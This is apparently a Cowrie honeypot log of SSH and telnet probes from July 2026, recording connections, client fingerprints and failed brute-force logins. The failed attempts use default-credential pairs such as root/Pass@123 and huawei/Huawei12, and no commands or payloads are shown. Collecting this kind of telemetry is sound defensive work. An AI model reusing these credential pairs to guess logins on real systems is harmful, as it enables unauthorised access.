{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:20.659339Z","src_ip":"165.154.137.186","session":"175146b6bfa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:20.970331Z","src_ip":"165.154.137.186","session":"27fc42350eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:21.513042Z","src_ip":"165.154.137.186","session":"175146b6bfa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:22.799900Z","src_ip":"165.154.137.186","session":"175146b6bfa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57092,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7ac9b3e76a3","protocol":"ssh","message":"New connection: 165.154.137.186:57092 (10.17.0.5:22) [session: a7ac9b3e76a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:24.349654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:24.353947Z","src_ip":"165.154.137.186","session":"a7ac9b3e76a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57108,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd1a73410cb6","protocol":"ssh","message":"New connection: 165.154.137.186:57108 (10.17.0.5:22) [session: cd1a73410cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:24.738843Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:24.822177Z","src_ip":"165.154.137.186","session":"a7ac9b3e76a3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:24.992599Z","src_ip":"165.154.137.186","session":"cd1a73410cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:25.126143Z","src_ip":"165.154.137.186","session":"cd1a73410cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40172,"dst_ip":"10.17.0.5","dst_port":22,"session":"e970829ac194","protocol":"ssh","message":"New connection: 165.154.137.186:40172 (10.17.0.5:22) [session: e970829ac194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:25.178364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:25.190454Z","src_ip":"165.154.137.186","session":"e970829ac194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:25.456773Z","src_ip":"165.154.137.186","session":"e970829ac194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:25.786436Z","src_ip":"165.154.137.186","session":"a7ac9b3e76a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:26.085647Z","src_ip":"165.154.137.186","session":"cd1a73410cb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:26.418300Z","src_ip":"165.154.137.186","session":"e970829ac194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:26.861573Z","src_ip":"8.210.75.243","session":"da1d535e9d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:27.066986Z","src_ip":"165.154.137.186","session":"a7ac9b3e76a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:27.357986Z","src_ip":"165.154.137.186","session":"cd1a73410cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:27.668875Z","src_ip":"165.154.137.186","session":"e970829ac194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58228,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a675c9a727a","protocol":"telnet","message":"New connection: 170.64.224.25:58228 (159.203.135.109:23) [session: 8a675c9a727a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:28.148648Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57116,"dst_ip":"10.17.0.5","dst_port":22,"session":"479d4091bb1b","protocol":"ssh","message":"New connection: 165.154.137.186:57116 (10.17.0.5:22) [session: 479d4091bb1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:31.701288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:31.705008Z","src_ip":"165.154.137.186","session":"479d4091bb1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:31.970516Z","src_ip":"165.154.137.186","session":"479d4091bb1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:32.781087Z","src_ip":"165.154.137.186","session":"479d4091bb1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:34.054470Z","src_ip":"165.154.137.186","session":"479d4091bb1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":46516,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce34471fd090","protocol":"ssh","message":"New connection: 103.187.165.26:46516 (10.17.0.5:22) [session: ce34471fd090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:34.996946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:35.001549Z","src_ip":"103.187.165.26","session":"ce34471fd090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:35.239748Z","src_ip":"103.187.165.26","session":"ce34471fd090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdasd123","message":"login attempt [root/Asdasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:36.224889Z","src_ip":"103.187.165.26","session":"ce34471fd090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:37.466766Z","src_ip":"103.187.165.26","session":"ce34471fd090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:41.899867Z","src_ip":"8.210.75.243","session":"eabdcb37df2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44712,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca7a8bce712a","protocol":"ssh","message":"New connection: 8.210.75.243:44712 (10.17.0.5:22) [session: ca7a8bce712a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:42.186042Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:49.002905Z","src_ip":"8.210.75.243","session":"39e8a92cb589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35006,"dst_ip":"10.17.0.5","dst_port":22,"session":"55b1a9793fa3","protocol":"ssh","message":"New connection: 165.154.137.186:35006 (10.17.0.5:22) [session: 55b1a9793fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:51.976632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:51.981743Z","src_ip":"165.154.137.186","session":"55b1a9793fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:52.245378Z","src_ip":"165.154.137.186","session":"55b1a9793fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:53.037594Z","src_ip":"165.154.137.186","session":"55b1a9793fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:54.202802Z","src_ip":"8.210.75.243","session":"39e8a92cb589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:54.303806Z","src_ip":"165.154.137.186","session":"55b1a9793fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40450,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddb6b0a7065f","protocol":"ssh","message":"New connection: 165.154.137.186:40450 (10.17.0.5:22) [session: ddb6b0a7065f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:54.415066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:54.421543Z","src_ip":"165.154.137.186","session":"ddb6b0a7065f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:54.703647Z","src_ip":"165.154.137.186","session":"ddb6b0a7065f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35026,"dst_ip":"10.17.0.5","dst_port":22,"session":"b48656a79f65","protocol":"ssh","message":"New connection: 165.154.137.186:35026 (10.17.0.5:22) [session: b48656a79f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:54.742831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:54.749736Z","src_ip":"165.154.137.186","session":"b48656a79f65","protocol":"ssh"}
